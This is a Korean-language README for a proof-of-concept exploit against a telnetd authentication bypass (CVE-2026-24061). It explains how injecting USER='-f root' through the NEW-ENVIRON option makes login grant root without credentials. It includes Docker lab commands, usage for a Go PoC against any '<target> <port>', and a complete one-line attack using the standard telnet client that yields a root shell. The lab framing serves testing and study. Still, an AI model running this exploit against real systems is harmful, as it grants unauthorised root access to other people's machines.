
GNU Inetutils telnetd 인증 우회(CVE-2026-24061)에 대한 개념 증명 익스플로잇으로, Docker 랩 설정 및 Go PoC를 포함합니다. NEW-ENVIRON 옵션을 악용하여 루트 셸을 획득합니다.
진심으로, 2026년에 telnet? 여러분, 이제 그만 넘어갈 때입니다. SSH는 1995년부터 존재했습니다. 🤦
GNU Inetutils telnetd의 치명적인 인증 우회 취약점으로, 버전 1.9.3부터 2.7까지 영향을 받습니다.
이 취약점은 NEW-ENVIRON telnet 옵션을 악용하여 login(1)에 악의적인 인자를 주입합니다. 공격자는 telnet 프로토콜을 통해 USER=-f root를 설정하여 인증을 우회하고 자격 증명 없이 root 셸을 얻을 수 있습니다.
telnet 프로토콜은 클라이언트가 서버로 환경 변수를 보낼 수 있게 하는 NEW-ENVIRON 옵션(RFC 1572)을 지원합니다. telnetd 데몬은 USER 변수를 인자로 login(1)에 전달합니다.
USER=-f root를 보내면 값은 다음과 같이 해석됩니다:
-f 플래그: 인증 건너뜀(신뢰된 호스트)root: 대상 사용자이로 인해 login -f root가 실행되어 즉시 root 접근 권한을 부여합니다.
PoC는 IAC WILL ECHO(0xff 0xfb 0x01)를 확인하여 악용 성공 여부를 감지합니다. 이는 셸 접근이 허용될 때 서버가 보내는 프로토콜 신호입니다.
# Build and run the vulnerable telnetd container
docker compose up --build -d
# Test the exploit
go run poc.go 127.0.0.1 2323
# Using the Go PoC (with interactive shell)
go run poc.go <target> <port>
# Simple PoC using standard telnet client
env USER='-f root' telnet -a <target> <port>
poc.go - 대화형 셸을 포함한 Go 익스플로잇Dockerfile - 취약한 telnetd 컨테이너docker-compose.yml - 실습 환경 오케스트레이션